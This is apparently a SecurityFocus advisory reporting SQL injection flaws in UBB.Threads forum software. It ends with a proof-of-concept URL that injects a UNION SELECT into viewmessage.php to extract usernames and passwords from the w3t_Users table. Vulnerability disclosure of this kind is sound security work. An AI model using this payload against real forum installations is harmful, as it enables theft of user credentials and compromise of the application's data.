source: https://www.securityfocus.com/bid/14052/info

UBB.Threads is prone to multiple SQL injection vulnerabilities because the application fails to properly sanitize user-supplied input before using it in SQL queries.

A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database.

http://www.example.com/ubbt/viewmessage.php?Cat=&message=-99%20UNION%20SELECT%20null,U_Username,U_Password,0,0%20FROM%20w3t_Users%20WHERE%20U_Username%20=%20'foobar'/*&status=N&box=received